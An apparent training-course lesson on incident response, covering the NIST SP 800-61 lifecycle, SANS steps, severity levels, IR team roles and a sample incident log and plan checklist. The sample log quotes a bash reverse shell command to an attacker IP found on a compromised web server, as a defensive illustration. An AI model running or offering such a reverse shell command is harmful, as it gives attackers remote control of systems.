Incident Response Lifecycle & Frameworks

Why Frameworks Matter in a Crisis

When a critical alert fires at 2 AM — ransomware encrypting file shares, an attacker exfiltrating customer data, or a compromised domain controller issuing rogue certificates — you do not have time to figure out what to do. You need a playbook. You need a lifecycle. You need a framework that your entire team has rehearsed so that every person knows their role, every decision has a clear escalation path, and every action is documented.

Incident response frameworks exist because ad-hoc response fails. Organizations that "figure it out as they go" during a real incident consistently produce worse outcomes: longer dwell times, incomplete containment, destroyed evidence, missed regulatory deadlines, and finger-pointing post-mortems that solve nothing.

Two frameworks dominate the industry: NIST SP 800-61 (published by the National Institute of Standards and Technology) and the SANS Incident Handler's Handbook. They are not competing standards — they describe the same core process with different levels of granularity. Understanding both lets you speak the language of any SOC you join.

The NIST SP 800-61 Lifecycle

NIST SP 800-61 Rev. 2, "Computer Security Incident Handling Guide," organizes incident response into four phases arranged in a cycle. The key word is cycle — this is not a linear process that ends after one pass. Lessons learned from one incident feed back into preparation for the next.

Click to enlarge

Phase 1: Preparation

Preparation is everything you do before an incident occurs. It is the phase most often neglected and most directly correlated with response quality.

People preparation:

• Establish the IR team with defined roles (covered in detail below)
• Conduct tabletop exercises quarterly (you will do one in Lab 13.1)
• Ensure on-call schedules cover 24/7 with clear escalation paths
• Train all team members on tools: Wazuh, Velociraptor, TheHive, MISP, forensic imaging

Process preparation:

• Write and maintain incident response playbooks for common scenarios (ransomware, phishing compromise, insider threat, DDoS, data exfiltration)
• Define severity classification criteria (P1–P4)
• Establish communication templates for internal stakeholders and external parties
• Document legal and regulatory notification requirements (GDPR 72-hour window, HIPAA, PCI-DSS, SEC 4-day rule)

Technology preparation:

• Deploy and tune detection tools (Modules 2–8 covered this)
• Maintain forensic workstations with imaging tools, memory capture utilities, and analysis software
• Ensure log retention meets investigation requirements (minimum 90 days hot, 1 year cold)
• Pre-configure jump bags: bootable USB drives, write blockers, chain-of-custody forms, network tap hardware

Phase 2: Detection & Analysis

This phase begins the moment a potential incident is identified. Detection comes from multiple sources — SIEM alerts, user reports, threat intelligence feeds, automated scans, or external notification (law enforcement, a vendor, a researcher).

Detection sources in a CyberBlueSOC environment:

Analysis is the hardest part. You must determine:

• Is this a real incident or a false positive? (Module 4 skills)
• What is the scope? How many systems are affected?
• What is the severity? (Use the classification matrix below)
• What is the attack vector? How did the attacker get in?
• What is the current stage? Are they still active? Have they achieved their objective?

Phase 3: Containment, Eradication, and Recovery

NIST groups these three activities into a single phase because they are tightly interrelated and often executed in parallel. Lesson 13.3 covers this phase in depth, but here is the framework-level overview:

• Containment: Stop the bleeding. Isolate compromised systems, block malicious IPs/domains, disable compromised accounts. Short-term containment preserves evidence; long-term containment allows continued operations while you eradicate.
• Eradication: Remove the attacker's presence. Delete malware, close backdoors, reset all compromised credentials, patch the vulnerability that allowed initial access.
• Recovery: Restore normal operations. Rebuild compromised systems from known-good images, restore data from verified backups, implement additional monitoring to detect re-infection.

Phase 4: Post-Incident Activity

The phase that transforms a painful incident into organizational improvement. Post-incident activity includes:

• Lessons learned meeting (within 5 business days of incident closure): What happened? What went well? What failed? What will we change?
• Incident report: Formal documentation including timeline, impact assessment, root cause analysis, and remediation actions
• Evidence retention: Preserve forensic images, logs, and artifacts according to legal hold requirements
• Metrics collection: Time to detect, time to contain, time to eradicate, total business impact
• Preparation updates: Feed findings back into Phase 1 — update playbooks, add detection rules, fix tool gaps, adjust training

The SANS 6-Step Process

The SANS Institute's Incident Handler's Handbook breaks the same lifecycle into six discrete steps rather than four phases. The core activities are identical — SANS simply separates steps that NIST groups together.

Incident Severity Classification

Not every incident deserves the same response. A phishing email that was caught by the mail filter is not the same as an active ransomware deployment. Severity classification determines who gets notified, how fast you respond, and how many resources you deploy.

Click to enlarge

Severity can change. An incident that starts as P3 (malware on a developer laptop) can escalate to P1 if investigation reveals the attacker used that laptop to pivot to the CI/CD pipeline and inject code into a production deployment. Your IR plan must include clear criteria for re-classification and the escalation steps triggered by each change.

IR Team Roles

A structured IR team prevents the "everyone runs around doing everything" chaos that destroys response effectiveness. Three core roles must be filled for any P1 or P2 incident:

Incident Commander (IC)

The IC owns the incident from declaration to closure. They do not perform technical analysis — they coordinate.

• Declares incident severity and triggers the appropriate escalation path
• Assigns tasks to technical responders and tracks completion
• Makes containment decisions when business impact must be weighed (e.g., "Do we shut down the e-commerce site during holiday season?")
• Serves as the single point of contact for executive management
• Ensures documentation is maintained throughout (assigns a scribe if needed)
• Authorizes severity changes, external notifications, and incident closure

Technical Lead

The Technical Lead directs the hands-on investigation and response.

• Coordinates forensic analysis across endpoints, network, and logs
• Makes technical containment recommendations to the IC (block this IP, isolate this subnet, disable this account)
• Ensures evidence integrity — chain of custody, forensic imaging before remediation
• Manages tool deployment: Velociraptor collections, Wazuh rule updates, network captures
• Synthesizes technical findings into a coherent attack narrative (timeline, IOCs, TTPs)

Communications Lead

The Communications Lead manages all stakeholder communication.

• Drafts internal status updates (frequency determined by severity: P1 = every 30 minutes, P2 = every 2 hours)
• Coordinates with Legal on regulatory notification requirements and timelines
• Prepares external communications (customer notification, press statements) with Legal and PR review
• Manages the incident communication channel (dedicated Slack channel, war room, bridge call)
• Ensures no unauthorized information disclosure (technical details shared only on need-to-know basis)

When to Engage Legal and Management

Knowing when to escalate beyond the technical team is a critical skill. Escalating too late creates legal liability; escalating too early for every P4 erodes credibility.

Documentation Throughout the Lifecycle

Every action during an incident must be documented. Not after the incident. Not from memory. In real time. Documentation serves three purposes: it enables handoff between shifts, it supports legal proceedings, and it feeds the lessons learned process.

The Incident Log

The incident log is a chronological record of every significant action, decision, and finding:

2026-02-23 02:15 UTC | SOC Analyst (J. Kim) | Wazuh alert: multiple failed SSH logins
  followed by successful auth on linux-web-01 from 198.51.100.47
2026-02-23 02:18 UTC | SOC Analyst (J. Kim) | Verified source IP is not in known
  admin ranges. Checking MISP — IP linked to APT campaign targeting web servers.
2026-02-23 02:22 UTC | SOC Analyst (J. Kim) | Escalating to P2. Paging IR on-call.
2026-02-23 02:30 UTC | IC (M. Chen) | Incident declared. IC: M. Chen, Tech Lead:
  J. Kim, Comms: S. Patel. War room opened in #ir-2026-0223.
2026-02-23 02:35 UTC | Tech Lead (J. Kim) | Velociraptor collection launched on
  linux-web-01: process list, network connections, bash history, crontab.
2026-02-23 02:42 UTC | Tech Lead (J. Kim) | Findings: reverse shell process
  (bash -i >& /dev/tcp/198.51.100.47/4444 0>&1) running as www-data. Web shell
  found at /var/www/html/.hidden/cmd.php. Recommending immediate containment.
2026-02-23 02:45 UTC | IC (M. Chen) | Approved network isolation of linux-web-01.
  Firewall rule applied by NOC.

Evidence Tracking

Every piece of evidence needs a tracking record:

Building Your IR Plan

An IR plan is not a 200-page document that sits on a shelf. It is a living, operational document that your team actually uses. The minimum viable IR plan contains:

1. Scope and authority: Who has the authority to declare an incident? Who can authorize containment actions that affect production systems?
2. Severity definitions: P1–P4 criteria specific to your organization
3. Escalation matrix: Severity → role → notification method → SLA
4. Communication plan: Internal templates, external notification requirements, media response policy
5. Role assignments: Primary and backup for IC, Technical Lead, Communications Lead
6. Playbooks: Step-by-step procedures for top 5 incident types (ransomware, phishing, insider threat, DDoS, data breach)
7. Tool inventory: What tools are available, where they are, who has access, how to deploy them
8. Evidence handling: Collection procedures, chain of custody forms, storage locations
9. External contacts: Legal counsel, cyber insurance carrier, external IR firm, law enforcement, regulatory bodies
10. Review schedule: Quarterly tabletop exercises, annual plan review, update after every P1/P2 incident

What's Next

You now have the framework — the lifecycle, the roles, the severity model, the documentation requirements. But frameworks on paper are not the same as frameworks in action. In Lesson 13.2: TheHive & Case Management, you will learn how to operationalize this lifecycle using TheHive — the open-source case management platform that gives your IR team a central hub for tracking cases, assigning tasks, collecting observables, and maintaining the audit trail that frameworks demand. Then in Lab 13.1, you will put the framework to the test in a tabletop exercise where you walk through a simulated P2 incident from detection through post-incident review.